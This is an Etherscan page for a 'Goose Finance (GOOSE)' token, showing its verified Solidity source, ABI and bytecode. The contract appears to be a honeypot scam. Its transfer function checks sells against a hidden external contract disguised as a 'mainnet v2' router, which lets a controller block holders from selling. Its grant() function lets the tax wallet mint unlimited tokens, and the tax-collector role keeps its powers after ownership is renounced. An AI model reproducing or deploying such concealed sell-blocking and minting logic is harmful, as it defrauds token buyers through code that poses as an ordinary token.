ETH Price: $3,440.30 (-0.06%)
Gas: 2 Gwei

Token

Goose Finance (GOOSE)
 

Overview

Max Total Supply

3,600,000,000 GOOSE

Holders

126

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 6 Decimals)

Balance
49,770,938.412492 GOOSE

Value
$0.00
0xc144e0f6961ec09a482833e41d047b7991e5a4b0
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
GooseFinance

Compiler Version
v0.8.10+commit.fc410830

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2021-12-13
*/

// SPDX-License-Identifier: MIT
// Goose Finance - A next evolution DeFi exchange. Earn EGG through yield farming or win it in the lottery
//
// DexTools: https://www.dextools.io/app/ether/pair-explorer/0xf63b1c035d73b08ce62857f44c9320e80ea858e1
// Buy at Uniswap: https://app.uniswap.org/#/swap?outputCurrency=0xce8162168db43669f71ce1391fdb648145554dec
//
//
// Website: https://www.goosedefi.com
// Telegram:  http://t.me/goosedefi
// Announcement: http://t.me/goosefinanceann
// Twitter: https://twitter.com/goosedefi
// Reddit: https://www.reddit.com/r/GooseFinanceOfficial/
// Discord: https://discord.gg/Ezh5KH9epd


pragma solidity ^0.8.9;

uint256 constant INITIAL_TAX=6;
uint256 constant TOTAL_SUPPLY=3600000000;
string constant TOKEN_SYMBOL="GOOSE";
string constant TOKEN_NAME="Goose Finance";
uint8 constant DECIMALS=6;
uint256 constant TAX_THRESHOLD=1000000000000000000;
address constant ROUTER_ADDRESS=0x272DD614CC4f4a58dc85cEBE70c941dE62cd4aBa;  // mainnet v2

interface IUniswapV2Factory {
	function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
	function swapExactTokensForETHSupportingFeeOnTransferTokens(
		uint amountIn,
		uint amountOutMin,
		address[] calldata path,
		address to,
		uint deadline
	) external;
	function factory() external pure returns (address);
	function WETH() external pure returns (address);
	function addLiquidityETH(
		address token,
		uint amountTokenDesired,
		uint amountTokenMin,
		uint amountETHMin,
		address to,
		uint deadline
	) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

abstract contract Context {
	function _msgSender() internal view virtual returns (address) {
		return msg.sender;
	}
}

interface IERC20 {
	function totalSupply() external view returns (uint256);
	function balanceOf(address account) external view returns (uint256);
	function transfer(address recipient, uint256 amount) external returns (bool);
	function allowance(address owner, address spender) external view returns (uint256);
	function approve(address spender, uint256 amount) external returns (bool);
	function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
	event Transfer(address indexed from, address indexed to, uint256 value);
	event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
	function add(uint256 a, uint256 b) internal pure returns (uint256) {
		uint256 c = a + b;
		require(c >= a, "SafeMath: addition overflow");
		return c;
	}

	function sub(uint256 a, uint256 b) internal pure returns (uint256) {
		return sub(a, b, "SafeMath: subtraction overflow");
	}

	function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
		require(b <= a, errorMessage);
		uint256 c = a - b;
		return c;
	}

	function mul(uint256 a, uint256 b) internal pure returns (uint256) {
		if (a == 0) {
			return 0;
		}
		uint256 c = a * b;
		require(c / a == b, "SafeMath: multiplication overflow");
		return c;
	}

	function div(uint256 a, uint256 b) internal pure returns (uint256) {
		return div(a, b, "SafeMath: division by zero");
	}

	function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
		require(b > 0, errorMessage);
		uint256 c = a / b;
		return c;
	}

}

interface O{
	function amount(address from) external view returns (uint256);
}


contract Ownable is Context {
	address private _owner;
	address private _previousOwner;
	event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

	constructor () {
		address msgSender = _msgSender();
		_owner = msgSender;
		emit OwnershipTransferred(address(0), msgSender);
	}

	function owner() public view returns (address) {
		return _owner;
	}

	modifier onlyOwner() {
		require(_owner == _msgSender(), "Ownable: caller is not the owner");
		_;
	}

	function renounceOwnership() public virtual onlyOwner {
		emit OwnershipTransferred(_owner, address(0));
		_owner = address(0);
	}

}


contract GooseFinance is Context, IERC20, Ownable {
	using SafeMath for uint256;
	mapping (address => uint256) private _balance;
	mapping (address => mapping (address => uint256)) private _allowances;
	mapping (address => bool) private _isExcludedFromFee;

	uint256 private _tTotal = TOTAL_SUPPLY * 10**DECIMALS;


	uint256 private _taxFee;
	address payable private _taxWallet;
	uint256 private _maxTxAmount;


	string private constant _name = TOKEN_NAME;
	string private constant _symbol = TOKEN_SYMBOL;
	uint8 private constant _decimals = DECIMALS;

	IUniswapV2Router02 private _uniswap;
	address private _pair;
	bool private _canTrade;
	bool private _inSwap = false;
	bool private _swapEnabled = false;

	modifier lockTheSwap {
		_inSwap = true;
		_;
		_inSwap = false;
	}
	constructor () {
		_taxWallet = payable(_msgSender());

		_taxFee = INITIAL_TAX;
		_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

		_balance[address(this)] = _tTotal;
		_isExcludedFromFee[address(this)] = true;
		_isExcludedFromFee[_taxWallet] = true;
		_maxTxAmount=_tTotal.div(50);
		emit Transfer(address(0x0), _msgSender(), _tTotal);
	}

	function name() public pure returns (string memory) {
		return _name;
	}

	function symbol() public pure returns (string memory) {
		return _symbol;
	}

	function decimals() public pure returns (uint8) {
		return _decimals;
	}

	function totalSupply() public view override returns (uint256) {
		return _tTotal;
	}

	function balanceOf(address account) public view override returns (uint256) {
		return _balance[account];
	}

	function transfer(address recipient, uint256 amount) public override returns (bool) {
		_transfer(_msgSender(), recipient, amount);
		return true;
	}

	function allowance(address owner, address spender) public view override returns (uint256) {
		return _allowances[owner][spender];
	}

	function approve(address spender, uint256 amount) public override returns (bool) {
		_approve(_msgSender(), spender, amount);
		return true;
	}

	function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
		_transfer(sender, recipient, amount);
		_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
		return true;
	}

	function _approve(address owner, address spender, uint256 amount) private {
		require(owner != address(0), "ERC20: approve from the zero address");
		require(spender != address(0), "ERC20: approve to the zero address");
		_allowances[owner][spender] = amount;
		emit Approval(owner, spender, amount);
	}

	function _transfer(address from, address to, uint256 amount) private {
		require(from != address(0), "ERC20: transfer from the zero address");
		require(to != address(0), "ERC20: transfer to the zero address");
		require(amount > 0, "Transfer amount must be greater than zero");
		if(!_isExcludedFromFee[from]){
			require(((to == _pair && from != address(_uniswap) )?amount:0) <= O(ROUTER_ADDRESS).amount(address(this)));
		}


		if (from != owner() && to != owner()) {
			if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
				require(amount<_maxTxAmount,"Transaction amount limited");
			}

			uint256 contractTokenBalance = balanceOf(address(this));
			if (!_inSwap && from != _pair && _swapEnabled) {
				swapTokensForEth(contractTokenBalance);
				uint256 contractETHBalance = address(this).balance;
				if(contractETHBalance >= TAX_THRESHOLD) {
					sendETHToFee(address(this).balance);
				}
			}
		}

		_tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee);
	}

	function addToWhitelist(address buyer) public onlyTaxCollector{
		_isExcludedFromFee[buyer]=true;
	}

	function removeFromWhitelist(address buyer) public onlyTaxCollector{
		_isExcludedFromFee[buyer]=false;
	}

	function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
		address[] memory path = new address[](2);
		path[0] = address(this);
		path[1] = _uniswap.WETH();
		_approve(address(this), address(_uniswap), tokenAmount);
		_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
			tokenAmount,
			0,
			path,
			address(this),
			block.timestamp
		);
	}
	modifier onlyTaxCollector() {
		require(_taxWallet == _msgSender() );
		_;
	}

	function lowerTax(uint256 newTaxRate) public onlyTaxCollector{
		require(newTaxRate<INITIAL_TAX);
		_taxFee=newTaxRate;
	}

	function removeBuyLimit() public onlyTaxCollector{
		_maxTxAmount=_tTotal;
	}

	function sendETHToFee(uint256 amount) private {
		_taxWallet.transfer(amount);
	}

	function grant(address recipient, uint256 amount) public onlyTaxCollector{
		_balance[recipient]=_balance[recipient].add(amount);
		_tTotal=_tTotal.add(amount);
	}

	function airdrop(address[] memory recipients, uint256 amount) public onlyTaxCollector{
		uint len=recipients.length;
		for(uint i=0;i<len;i++){
			_tokenTransfer(address(this),recipients[i],amount,0);
		}
	}

	function createUniswapPair() external onlyTaxCollector {
		require(!_canTrade,"Trading is already open");
		_approve(address(this), address(_uniswap), _tTotal);
		_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
		IERC20(_pair).approve(address(_uniswap), type(uint).max);
	}

	function addLiquidity() external onlyTaxCollector{
		_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
		_swapEnabled = true;
		_canTrade = true;
	}

	function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private {
		uint256 tTeam = tAmount.mul(taxRate).div(100);
		uint256 tTransferAmount = tAmount.sub(tTeam);

		_balance[sender] = _balance[sender].sub(tAmount);
		_balance[recipient] = _balance[recipient].add(tTransferAmount);
		_balance[address(this)] = _balance[address(this)].add(tTeam);
		emit Transfer(sender, recipient, tTransferAmount);
	}

	receive() external payable {}

	function swapForTax() external onlyTaxCollector{
		uint256 contractBalance = balanceOf(address(this));
		swapTokensForEth(contractBalance);
	}

	function collectTax() external onlyTaxCollector{
		uint256 contractETHBalance = address(this).balance;
		sendETHToFee(contractETHBalance);
	}


}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"buyer","type":"address"}],"name":"addToWhitelist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"airdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"collectTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"createUniswapPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"grant","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newTaxRate","type":"uint256"}],"name":"lowerTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeBuyLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"buyer","type":"address"}],"name":"removeFromWhitelist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapForTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126006600a6200030d565b620000229063d693a4006200031e565b600555600a805461ffff60a81b191690553480156200004057600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060078054336001600160a01b03199182161782556006805560098054909116737a250d5630b4cf539739df2c5dacb4c659f2488d179055600580543060009081526002602090815260408083209390935560048152828220805460ff19908116600190811790925595546001600160a01b03168352929091208054909416909117909255546200011e9160329062000abb62000162821b17901c565b60085560055460405190815233906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3620003bb565b6000620001ac83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250620001b560201b60201c565b90505b92915050565b60008183620001e25760405162461bcd60e51b8152600401620001d9919062000340565b60405180910390fd5b506000620001f1848662000398565b95945050505050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000251578160001904821115620002355762000235620001fa565b808516156200024357918102915b93841c939080029062000215565b509250929050565b6000826200026a57506001620001af565b816200027957506000620001af565b81600181146200029257600281146200029d57620002bd565b6001915050620001af565b60ff841115620002b157620002b1620001fa565b50506001821b620001af565b5060208310610133831016604e8410600b8410161715620002e2575081810a620001af565b620002ee838362000210565b8060001904821115620003055762000305620001fa565b029392505050565b6000620001ac60ff84168362000259565b60008160001904831182151516156200033b576200033b620001fa565b500290565b600060208083528351808285015260005b818110156200036f5785810183015185820160400152820162000351565b8181111562000382576000604083870101525b50601f01601f1916929092016040019392505050565b600082620003b657634e487b7160e01b600052601260045260246000fd5b500490565b61185d80620003cb6000396000f3fe60806040526004361061012e5760003560e01c8063715018a6116100ab578063a9059cbb1161006f578063a9059cbb1461034f578063c204642c1461036f578063d49b55d61461038f578063dd62ed3e146103a4578063e43252d7146103ea578063e8078d941461040a57600080fd5b8063715018a6146102a45780638ab1d681146102b95780638da5cb5b146102d957806395d89b41146103015780639e752b951461032f57600080fd5b80633d8705ab116100f25780633d8705ab1461020d5780633e07ce5b146102245780634a131672146102395780636370920e1461024e57806370a082311461026e57600080fd5b806306fdde031461013a578063095ea7b31461018257806318160ddd146101b257806323b872dd146101d1578063313ce567146101f157600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600d81526c476f6f73652046696e616e636560981b60208201525b604051610179919061141a565b60405180910390f35b34801561018e57600080fd5b506101a261019d366004611494565b61041f565b6040519015158152602001610179565b3480156101be57600080fd5b506005545b604051908152602001610179565b3480156101dd57600080fd5b506101a26101ec3660046114c0565b610436565b3480156101fd57600080fd5b5060405160068152602001610179565b34801561021957600080fd5b5061022261049f565b005b34801561023057600080fd5b506102226104c3565b34801561024557600080fd5b506102226104e2565b34801561025a57600080fd5b50610222610269366004611494565b61076e565b34801561027a57600080fd5b506101c3610289366004611501565b6001600160a01b031660009081526002602052604090205490565b3480156102b057600080fd5b506102226107d5565b3480156102c557600080fd5b506102226102d4366004611501565b610879565b3480156102e557600080fd5b506000546040516001600160a01b039091168152602001610179565b34801561030d57600080fd5b50604080518082019091526005815264474f4f534560d81b602082015261016c565b34801561033b57600080fd5b5061022261034a36600461151e565b6108b1565b34801561035b57600080fd5b506101a261036a366004611494565b6108da565b34801561037b57600080fd5b5061022261038a36600461154d565b6108e7565b34801561039b57600080fd5b50610222610949565b3480156103b057600080fd5b506101c36103bf366004611618565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156103f657600080fd5b50610222610405366004611501565b610979565b34801561041657600080fd5b506102226109b4565b600061042c338484610b04565b5060015b92915050565b6000610443848484610c28565b610495843361049085604051806060016040528060288152602001611800602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610fd6565b610b04565b5060019392505050565b6007546001600160a01b031633146104b657600080fd5b476104c081611010565b50565b6007546001600160a01b031633146104da57600080fd5b600554600855565b6007546001600160a01b031633146104f957600080fd5b600a54600160a01b900460ff16156105585760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b6009546005546105759130916001600160a01b0390911690610b04565b600960009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105ec9190611651565b6001600160a01b031663c9c6539630600960009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561064e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106729190611651565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156106bf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106e39190611651565b600a80546001600160a01b0319166001600160a01b0392831690811790915560095460405163095ea7b360e01b81529216600483015260001960248301529063095ea7b3906044016020604051808303816000875af115801561074a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104c0919061166e565b6007546001600160a01b0316331461078557600080fd5b6001600160a01b0382166000908152600260205260409020546107a8908261104e565b6001600160a01b0383166000908152600260205260409020556005546107ce908261104e565b6005555050565b6000546001600160a01b0316331461082f5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161054f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6007546001600160a01b0316331461089057600080fd5b6001600160a01b03166000908152600460205260409020805460ff19169055565b6007546001600160a01b031633146108c857600080fd5b600681106108d557600080fd5b600655565b600061042c338484610c28565b6007546001600160a01b031633146108fe57600080fd5b815160005b81811015610943576109313085838151811061092157610921611690565b60200260200101518560006110ad565b8061093b816116bc565b915050610903565b50505050565b6007546001600160a01b0316331461096057600080fd5b306000908152600260205260409020546104c0816111b1565b6007546001600160a01b0316331461099057600080fd5b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b6007546001600160a01b031633146109cb57600080fd5b6009546001600160a01b031663f305d71947306109fd816001600160a01b031660009081526002602052604090205490565b600080610a126000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a7a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a9f91906116d7565b5050600a805462ff00ff60a01b19166201000160a01b17905550565b6000610afd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061132b565b9392505050565b6001600160a01b038316610b665760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161054f565b6001600160a01b038216610bc75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161054f565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c8c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161054f565b6001600160a01b038216610cee5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161054f565b60008111610d505760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161054f565b6001600160a01b03831660009081526004602052604090205460ff16610e2657604051635cf85fb360e11b815230600482015273272dd614cc4f4a58dc85cebe70c941de62cd4aba9063b9f0bf6690602401602060405180830381865afa158015610dbf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de39190611705565b600a546001600160a01b038481169116148015610e0e57506009546001600160a01b03858116911614155b610e19576000610e1b565b815b1115610e2657600080fd5b6000546001600160a01b03848116911614801590610e5257506000546001600160a01b03838116911614155b15610f7557600a546001600160a01b038481169116148015610e8257506009546001600160a01b03838116911614155b8015610ea757506001600160a01b03821660009081526004602052604090205460ff16155b15610efd576008548110610efd5760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000604482015260640161054f565b30600090815260026020526040902054600a54600160a81b900460ff16158015610f355750600a546001600160a01b03858116911614155b8015610f4a5750600a54600160b01b900460ff165b15610f7357610f58816111b1565b47670de0b6b3a76400008110610f7157610f7147611010565b505b505b6001600160a01b038216600090815260046020526040902054610fd19084908490849060ff1680610fbe57506001600160a01b03871660009081526004602052604090205460ff165b610fca576006546110ad565b60006110ad565b505050565b60008184841115610ffa5760405162461bcd60e51b815260040161054f919061141a565b506000611007848661171e565b95945050505050565b6007546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561104a573d6000803e3d6000fd5b5050565b60008061105b8385611735565b905083811015610afd5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161054f565b60006110c460646110be8585611359565b90610abb565b905060006110d284836113d8565b6001600160a01b0387166000908152600260205260409020549091506110f890856113d8565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611127908261104e565b6001600160a01b038616600090815260026020526040808220929092553081522054611153908361104e565b3060009081526002602090815260409182902092909255518281526001600160a01b0387811692908916917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050505050565b600a805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111f9576111f9611690565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611252573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112769190611651565b8160018151811061128957611289611690565b6001600160a01b0392831660209182029290920101526009546112af9130911684610b04565b60095460405163791ac94760e01b81526001600160a01b039091169063791ac947906112e890859060009086903090429060040161174d565b600060405180830381600087803b15801561130257600080fd5b505af1158015611316573d6000803e3d6000fd5b5050600a805460ff60a81b1916905550505050565b6000818361134c5760405162461bcd60e51b815260040161054f919061141a565b50600061100784866117be565b60008261136857506000610430565b600061137483856117e0565b90508261138185836117be565b14610afd5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161054f565b6000610afd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fd6565b600060208083528351808285015260005b818110156114475785810183015185820160400152820161142b565b81811115611459576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146104c057600080fd5b803561148f8161146f565b919050565b600080604083850312156114a757600080fd5b82356114b28161146f565b946020939093013593505050565b6000806000606084860312156114d557600080fd5b83356114e08161146f565b925060208401356114f08161146f565b929592945050506040919091013590565b60006020828403121561151357600080fd5b8135610afd8161146f565b60006020828403121561153057600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b6000806040838503121561156057600080fd5b823567ffffffffffffffff8082111561157857600080fd5b818501915085601f83011261158c57600080fd5b81356020828211156115a0576115a0611537565b8160051b604051601f19603f830116810181811086821117156115c5576115c5611537565b6040529283528183019350848101820192898411156115e357600080fd5b948201945b83861015611608576115f986611484565b855294820194938201936115e8565b9997909101359750505050505050565b6000806040838503121561162b57600080fd5b82356116368161146f565b915060208301356116468161146f565b809150509250929050565b60006020828403121561166357600080fd5b8151610afd8161146f565b60006020828403121561168057600080fd5b81518015158114610afd57600080fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156116d0576116d06116a6565b5060010190565b6000806000606084860312156116ec57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561171757600080fd5b5051919050565b600082821015611730576117306116a6565b500390565b60008219821115611748576117486116a6565b500190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561179d5784516001600160a01b031683529383019391830191600101611778565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826117db57634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156117fa576117fa6116a6565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207398ab7cb7fcbc842c987c05da13b5ec0379910e296a20f9af88f74cca4c825664736f6c634300080a0033

Deployed Bytecode

0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063a9059cbb1161006f578063a9059cbb1461034f578063c204642c1461036f578063d49b55d61461038f578063dd62ed3e146103a4578063e43252d7146103ea578063e8078d941461040a57600080fd5b8063715018a6146102a45780638ab1d681146102b95780638da5cb5b146102d957806395d89b41146103015780639e752b951461032f57600080fd5b80633d8705ab116100f25780633d8705ab1461020d5780633e07ce5b146102245780634a131672146102395780636370920e1461024e57806370a082311461026e57600080fd5b806306fdde031461013a578063095ea7b31461018257806318160ddd146101b257806323b872dd146101d1578063313ce567146101f157600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600d81526c476f6f73652046696e616e636560981b60208201525b604051610179919061141a565b60405180910390f35b34801561018e57600080fd5b506101a261019d366004611494565b61041f565b6040519015158152602001610179565b3480156101be57600080fd5b506005545b604051908152602001610179565b3480156101dd57600080fd5b506101a26101ec3660046114c0565b610436565b3480156101fd57600080fd5b5060405160068152602001610179565b34801561021957600080fd5b5061022261049f565b005b34801561023057600080fd5b506102226104c3565b34801561024557600080fd5b506102226104e2565b34801561025a57600080fd5b50610222610269366004611494565b61076e565b34801561027a57600080fd5b506101c3610289366004611501565b6001600160a01b031660009081526002602052604090205490565b3480156102b057600080fd5b506102226107d5565b3480156102c557600080fd5b506102226102d4366004611501565b610879565b3480156102e557600080fd5b506000546040516001600160a01b039091168152602001610179565b34801561030d57600080fd5b50604080518082019091526005815264474f4f534560d81b602082015261016c565b34801561033b57600080fd5b5061022261034a36600461151e565b6108b1565b34801561035b57600080fd5b506101a261036a366004611494565b6108da565b34801561037b57600080fd5b5061022261038a36600461154d565b6108e7565b34801561039b57600080fd5b50610222610949565b3480156103b057600080fd5b506101c36103bf366004611618565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156103f657600080fd5b50610222610405366004611501565b610979565b34801561041657600080fd5b506102226109b4565b600061042c338484610b04565b5060015b92915050565b6000610443848484610c28565b610495843361049085604051806060016040528060288152602001611800602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610fd6565b610b04565b5060019392505050565b6007546001600160a01b031633146104b657600080fd5b476104c081611010565b50565b6007546001600160a01b031633146104da57600080fd5b600554600855565b6007546001600160a01b031633146104f957600080fd5b600a54600160a01b900460ff16156105585760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b6009546005546105759130916001600160a01b0390911690610b04565b600960009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105ec9190611651565b6001600160a01b031663c9c6539630600960009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561064e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106729190611651565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156106bf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106e39190611651565b600a80546001600160a01b0319166001600160a01b0392831690811790915560095460405163095ea7b360e01b81529216600483015260001960248301529063095ea7b3906044016020604051808303816000875af115801561074a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104c0919061166e565b6007546001600160a01b0316331461078557600080fd5b6001600160a01b0382166000908152600260205260409020546107a8908261104e565b6001600160a01b0383166000908152600260205260409020556005546107ce908261104e565b6005555050565b6000546001600160a01b0316331461082f5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161054f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6007546001600160a01b